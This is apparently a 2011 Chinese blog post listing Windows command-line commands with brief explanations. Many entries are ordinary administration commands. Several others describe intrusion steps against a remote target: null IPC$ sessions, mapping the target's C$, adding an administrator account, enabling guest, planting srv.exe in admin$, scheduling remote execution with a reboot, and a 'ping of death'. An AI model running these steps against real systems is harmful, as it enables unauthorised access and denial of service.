Dos大全

于 2011-04-15 09:43:00 发布
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文章标签： 数据库 运维 操作系统
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">use //ip/ipc$ " " /user:" " </span><span style="color: black;"><span style="">建立</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IPC</span><span style="color: black;"><span style="">空链接</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net use //ip/ipc$ "</span><span style="color: black;"><span style="">密码</span></span><span style="font-family: Arial; color: black;" lang="EN-US">" /user:"</span><span style="color: black;"><span style="">用户名</span></span><span style="font-family: Arial; color: black;" lang="EN-US">" </span><span style="color: black;"><span style="">建立</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IPC</span><span style="color: black;"><span style="">非空链接</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net use h: //ip/c$ "</span><span style="color: black;"><span style="">密码</span></span><span style="font-family: Arial; color: black;" lang="EN-US">" /user:"</span><span style="color: black;"><span style="">用户名</span></span><span style="font-family: Arial; color: black;" lang="EN-US">" </span><span style="color: black;"><span style="">直接登陆后映射对方</span></span><span style="font-family: Arial; color: black;" lang="EN-US">C</span><span style="color: black;"><span style="">：到本地为</span></span><span style="font-family: Arial; color: black;" lang="EN-US">H: </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net use h: //ip/c$ </span><span style="color: black;"><span style="">登陆后映射对方</span></span><span style="font-family: Arial; color: black;" lang="EN-US">C</span><span style="color: black;"><span style="">：到本地为</span></span><span style="font-family: Arial; color: black;" lang="EN-US">H: </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net use //ip/ipc$ /del </span><span style="color: black;"><span style="">删除</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IPC</span><span style="color: black;"><span style="">链接</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net use h: /del </span><span style="color: black;"><span style="">删除映射对方到本地的为</span></span><span style="font-family: Arial; color: black;" lang="EN-US">H:</span><span style="color: black;"><span style="">的映射</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net user </span><span style="color: black;"><span style="">用户名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">密码</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> /add </span><span style="color: black;"><span style="">建立用户</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net user guest /active:yes </span><span style="color: black;"><span style="">激活</span></span><span style="font-family: Arial; color: black;" lang="EN-US">guest</span><span style="color: black;"><span style="">用户</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net user </span><span style="color: black;"><span style="">查看有哪些用户</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net user </span><span style="color: black;"><span style="">帐户名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">查看帐户的属性</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net localgroup administrators </span><span style="color: black;"><span style="">用户名</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> /add </span><span style="color: black;"><span style="">把</span></span><span style="font-family: Arial; color: black;" lang="EN-US">“</span><span style="color: black;"><span style="">用户</span></span><span style="font-family: Arial; color: black;" lang="EN-US">”</span><span style="color: black;"><span style="">添加到管理员中使其具有管理员权限</span></span><span style="font-family: Arial; color: black;" lang="EN-US">,</span><span style="color: black;"><span style="">注意：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">administrator</span><span style="color: black;"><span style="">后加</span></span><span style="font-family: Arial; color: black;" lang="EN-US">s</span><span style="color: black;"><span style="">用复数</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net start </span><span style="color: black;"><span style="">查看开启了哪些服务</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net start </span><span style="color: black;"><span style="">服务名</span></span><span style="font-family: Arial; color: black;" lang="EN-US"><span style=""> </span></span><span style="color: black;"><span style="">开启服务；</span></span><span style="font-family: Arial; color: black;" lang="EN-US">(</span><span style="color: black;"><span style="">如</span></span><span style="font-family: Arial; color: black;" lang="EN-US">:net start telnet</span><span style="color: black;"><span style="">，</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> net start schedule) </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net stop </span><span style="color: black;"><span style="">服务名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">停止某服务</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net time //</span><span style="color: black;"><span style="">目标</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ip </span><span style="color: black;"><span style="">查看对方时间</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net time //</span><span style="color: black;"><span style="">目标</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ip /set </span><span style="color: black;"><span style="">设置本地计算机时间与</span></span><span style="font-family: Arial; color: black;" lang="EN-US">“</span><span style="color: black;"><span style="">目标</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IP”</span><span style="color: black;"><span style="">主机的时间同步</span></span><span style="font-family: Arial; color: black;" lang="EN-US">,</span><span style="color: black;"><span style="">加上参数</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/yes</span><span style="color: black;"><span style="">可取消确认信息</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net view </span><span style="color: black;"><span style="">查看本地局域网内开启了哪些共享</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net view //ip </span><span style="color: black;"><span style="">查看对方局域网内开启了哪些共享</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net config </span><span style="color: black;"><span style="">显示系统网络设置</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net logoff </span><span style="color: black;"><span style="">断开连接的共享</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net pause </span><span style="color: black;"><span style="">服务名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">暂停某服务</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net send ip "</span><span style="color: black;"><span style="">文本信息</span></span><span style="font-family: Arial; color: black;" lang="EN-US">" </span><span style="color: black;"><span style="">向对方发信息</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net ver </span><span style="color: black;"><span style="">局域网内正在使用的网络连接类型和信息</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net share </span><span style="color: black;"><span style="">查看本地开启的共享</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net share ipc$ </span><span style="color: black;"><span style="">开启</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ipc$</span><span style="color: black;"><span style="">共享</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net share ipc$ /del </span><span style="color: black;"><span style="">删除</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ipc$</span><span style="color: black;"><span style="">共享</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net share c$ /del </span><span style="color: black;"><span style="">删除</span></span><span style="font-family: Arial; color: black;" lang="EN-US">C</span><span style="color: black;"><span style="">：共享</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net user guest 12345 </span><span style="color: black;"><span style="">用</span></span><span style="font-family: Arial; color: black;" lang="EN-US">guest</span><span style="color: black;"><span style="">用户登陆后用将密码改为</span></span><span style="font-family: Arial; color: black;" lang="EN-US">12345 </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">net password </span><span style="color: black;"><span style="">密码</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">更改系统登陆密码</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">netstat -a </span><span style="color: black;"><span style="">查看开启了哪些端口</span></span><span style="font-family: Arial; color: black;" lang="EN-US">,</span><span style="color: black;"><span style="">常用</span></span><span style="font-family: Arial; color: black;" lang="EN-US">netstat -an </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">netstat -n </span><span style="color: black;"><span style="">查看端口的网络连接情况，常用</span></span><span style="font-family: Arial; color: black;" lang="EN-US">netstat -an </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">netstat -v </span><span style="color: black;"><span style="">查看正在进行的工作</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">netstat -p </span><span style="color: black;"><span style="">协议名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">例：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">netstat -p tcq/ip </span><span style="color: black;"><span style="">查看某协议使用情况（查看</span></span><span style="font-family: Arial; color: black;" lang="EN-US">tcp/ip</span><span style="color: black;"><span style="">协议使用情况）</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">netstat -s </span><span style="color: black;"><span style="">查看正在使用的所有协议使用情况</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">nbtstat -A ip </span><span style="color: black;"><span style="">对方</span></span><span style="font-family: Arial; color: black;" lang="EN-US">136</span><span style="color: black;"><span style="">到</span></span><span style="font-family: Arial; color: black;" lang="EN-US">139</span><span style="color: black;"><span style="">其中一个端口开了的话，就可查看对方最近登陆的用户名（</span></span><span style="font-family: Arial; color: black;" lang="EN-US">03</span><span style="color: black;"><span style="">前的为用户名）</span></span><span style="font-family: Arial; color: black;" lang="EN-US">-</span><span style="color: black;"><span style="">注意：参数</span></span><span style="font-family: Arial; color: black;" lang="EN-US">-A</span><span style="color: black;"><span style="">要大写</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">tracert -</span><span style="color: black;"><span style="">参数</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> ip(</span><span style="color: black;"><span style="">或计算机名</span></span><span style="font-family: Arial; color: black;" lang="EN-US">) </span><span style="color: black;"><span style="">跟踪路由（数据包），参数：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">“-w</span><span style="color: black;"><span style="">数字</span></span><span style="font-family: Arial; color: black;" lang="EN-US">”</span><span style="color: black;"><span style="">用于设置超时间隔。</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">ping ip(</span><span style="color: black;"><span style="">或域名</span></span><span style="font-family: Arial; color: black;" lang="EN-US">) </span><span style="color: black;"><span style="">向对方主机发送默认大小为</span></span><span style="font-family: Arial; color: black;" lang="EN-US">32</span><span style="color: black;"><span style="">字节的数据，参数：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">“-l[</span><span style="color: black;"><span style="">空格</span></span><span style="font-family: Arial; color: black;" lang="EN-US">]</span><span style="color: black;"><span style="">数据包大小</span></span><span style="font-family: Arial; color: black;" lang="EN-US">”</span><span style="color: black;"><span style="">；</span></span><span style="font-family: Arial; color: black;" lang="EN-US">“-n</span><span style="color: black;"><span style="">发送数据次数</span></span><span style="font-family: Arial; color: black;" lang="EN-US">”</span><span style="color: black;"><span style="">；</span></span><span style="font-family: Arial; color: black;" lang="EN-US">“-t”</span><span style="color: black;"><span style="">指一直</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ping</span><span style="color: black;"><span style="">。</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">ping -t -l 65550 ip </span><span style="color: black;"><span style="">死亡之</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ping(</span><span style="color: black;"><span style="">发送大于</span></span><span style="font-family: Arial; color: black;" lang="EN-US">64K</span><span style="color: black;"><span style="">的文件并一直</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ping</span><span style="color: black;"><span style="">就成了死亡之</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ping) </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">ipconfig (winipcfg) </span><span style="color: black;"><span style="">用于</span></span><span style="font-family: Arial; color: black;" lang="EN-US">windows NT</span><span style="color: black;"><span style="">及</span></span><span style="font-family: Arial; color: black;" lang="EN-US">XP(windows 95 98)</span><span style="color: black;"><span style="">查看本地</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ip</span><span style="color: black;"><span style="">地址，</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ipconfig</span><span style="color: black;"><span style="">可用参数</span></span><span style="font-family: Arial; color: black;" lang="EN-US">“/all”</span><span style="color: black;"><span style="">显示全部配置信息</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">tlist -t </span><span style="color: black;"><span style="">以树行列表显示进程</span></span><span style="font-family: Arial; color: black;" lang="EN-US">(</span><span style="color: black;"><span style="">为系统的附加工具，默认是没有安装的，在安装目录的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">Support/tools</span><span style="color: black;"><span style="">文件夹内</span></span><span style="font-family: Arial; color: black;" lang="EN-US">) </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">kill -F </span><span style="color: black;"><span style="">进程名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">加</span></span><span style="font-family: Arial; color: black;" lang="EN-US">-F</span><span style="color: black;"><span style="">参数后强制结束某进程</span></span><span style="font-family: Arial; color: black;" lang="EN-US">(</span><span style="color: black;"><span style="">为系统的附加工具，默认是没有安装的，在安装目录的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">Support/tools</span><span style="color: black;"><span style="">文件夹内</span></span><span style="font-family: Arial; color: black;" lang="EN-US">) </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">del -F </span><span style="color: black;"><span style="">文件名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">加</span></span><span style="font-family: Arial; color: black;" lang="EN-US">-F</span><span style="color: black;"><span style="">参数后就可删除只读文件</span></span><span style="font-family: Arial; color: black;" lang="EN-US">,/AR</span><span style="color: black;"><span style="">、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/AH</span><span style="color: black;"><span style="">、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/AS</span><span style="color: black;"><span style="">、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/AA</span><span style="color: black;"><span style="">分别表示删除只读、隐藏、系统、存档文件，</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/A-R</span><span style="color: black;"><span style="">、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/A-H</span><span style="color: black;"><span style="">、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/A-S</span><span style="color: black;"><span style="">、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/A-A</span><span style="color: black;"><span style="">表示删除除只读、隐藏、系统、存档以外的文件。例如</span></span><span style="font-family: Arial; color: black;" lang="EN-US">“DEL/AR *.*”</span><span style="color: black;"><span style="">表示删除当前目录下所有只读文件，</span></span><span style="font-family: Arial; color: black;" lang="EN-US">“DEL/A-S *.*”</span><span style=""><span style="color: black;">表示删除当前目录下除系统文件以外的所有文件</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style=""><span style="font-size: small;"><span style="color: black;">（二）</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">del /S /Q </span><span style="color: black;"><span style="">目录</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">或用：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">rmdir /s /Q </span><span style="color: black;"><span style="">目录</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> /S</span><span style="color: black;"><span style="">删除目录及目录下的所有子目录和文件。同时使用参数</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/Q </span><span style="color: black;"><span style="">可取消删除操作时的系统确认就直接删除。（二个命令作用相同）</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">move </span><span style="color: black;"><span style="">盘符</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/</span><span style="color: black;"><span style="">路径</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/</span><span style="color: black;"><span style="">要移动的文件名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">存放移动文件的路径</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/</span><span style="color: black;"><span style="">移动后文件名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">移动文件</span></span><span style="font-family: Arial; color: black;" lang="EN-US">,</span><span style="color: black;"><span style="">用参数</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/y</span><span style="color: black;"><span style="">将取消确认移动目录存在相同文件的提示就直接覆盖</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">fc one.txt two.txt > 3st.txt </span><span style="color: black;"><span style="">对比二个文件并把不同之处输出到</span></span><span style="font-family: Arial; color: black;" lang="EN-US">3st.txt</span><span style="color: black;"><span style="">文件中，</span></span><span style="font-family: Arial; color: black;" lang="EN-US">"> "</span><span style="color: black;"><span style="">和</span></span><span style="font-family: Arial; color: black;" lang="EN-US">"> >" </span><span style="color: black;"><span style="">是重定向命令</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">at id</span><span style="color: black;"><span style="">号</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">开启已注册的某个计划任务</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">at /delete </span><span style="color: black;"><span style="">停止所有计划任务，用参数</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/yes</span><span style="color: black;"><span style="">则不需要确认就直接停止</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">at id</span><span style="color: black;"><span style="">号</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> /delete </span><span style="color: black;"><span style="">停止某个已注册的计划任务</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">at </span><span style=""><span style="color: black;">查看所有的计划任务</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">at //ip time </span><span style="color: black;"><span style="">程序名</span></span><span style="font-family: Arial; color: black;" lang="EN-US">(</span><span style="color: black;"><span style="">或一个命令</span></span><span style="font-family: Arial; color: black;" lang="EN-US">) /r </span><span style="color: black;"><span style="">在某时间运行对方某程序并重新启动计算机</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">finger username @host </span><span style="color: black;"><span style="">查看最近有哪些用户登陆</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">telnet ip </span><span style="color: black;"><span style="">端口</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">远和登陆服务器</span></span><span style="font-family: Arial; color: black;" lang="EN-US">,</span><span style="color: black;"><span style="">默认端口为</span></span><span style="font-family: Arial; color: black;" lang="EN-US">23 </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">open ip </span><span style="color: black;"><span style="">连接到</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IP</span><span style="color: black;"><span style="">（属</span></span><span style="font-family: Arial; color: black;" lang="EN-US">telnet</span><span style="color: black;"><span style="">登陆后的命令）</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">telnet </span><span style="color: black;"><span style="">在本机上直接键入</span></span><span style="font-family: Arial; color: black;" lang="EN-US">telnet </span><span style="color: black;"><span style="">将进入本机的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">telnet </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">copy </span><span style="color: black;"><span style="">路径</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/</span><span style="color: black;"><span style="">文件名</span></span><span style="font-family: Arial; color: black;" lang="EN-US">1 </span><span style="color: black;"><span style="">路径</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/</span><span style="color: black;"><span style="">文件名</span></span><span style="font-family: Arial; color: black;" lang="EN-US">2 /y </span><span style="color: black;"><span style="">复制文件</span></span><span style="font-family: Arial; color: black;" lang="EN-US">1</span><span style="color: black;"><span style="">到指定的目录为文件</span></span><span style="font-family: Arial; color: black;" lang="EN-US">2</span><span style="color: black;"><span style="">，用参数</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/y</span><span style="color: black;"><span style="">就同时取消确认你要改写一份现存目录文件</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">copy c:/srv.exe //ip/admin$ </span><span style="color: black;"><span style="">复制本地</span></span><span style="font-family: Arial; color: black;" lang="EN-US">c:/srv.exe</span><span style="color: black;"><span style="">到对方的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">admin</span><span style="color: black;"><span style="">下</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">cppy 1st.jpg/b+2st.txt/a 3st.jpg </span><span style="color: black;"><span style="">将</span></span><span style="font-family: Arial; color: black;" lang="EN-US">2st.txt</span><span style="color: black;"><span style="">的内容藏身到</span></span><span style="font-family: Arial; color: black;" lang="EN-US">1st.jpg</span><span style="color: black;"><span style="">中生成</span></span><span style="font-family: Arial; color: black;" lang="EN-US">3st.jpg</span><span style="color: black;"><span style="">新的文件，注：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">2st.txt</span><span style="color: black;"><span style="">文件头要空三排，参数：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/b</span><span style="color: black;"><span style="">指二进制文件，</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/a</span><span style="color: black;"><span style="">指</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ASCLL</span><span style="color: black;"><span style="">格式文件</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">copy //ip/admin$/svv.exe c:/ </span><span style="color: black;"><span style="">或</span></span><span style="font-family: Arial; color: black;" lang="EN-US">:copy//ip/admin$/*.* </span><span style="color: black;"><span style="">复制对方</span></span><span style="font-family: Arial; color: black;" lang="EN-US">admini$</span><span style="color: black;"><span style="">共享下的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">srv.exe</span><span style="color: black;"><span style="">文件（所有文件）至本地</span></span><span style="font-family: Arial; color: black;" lang="EN-US">C</span><span style="color: black;"><span style="">：</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
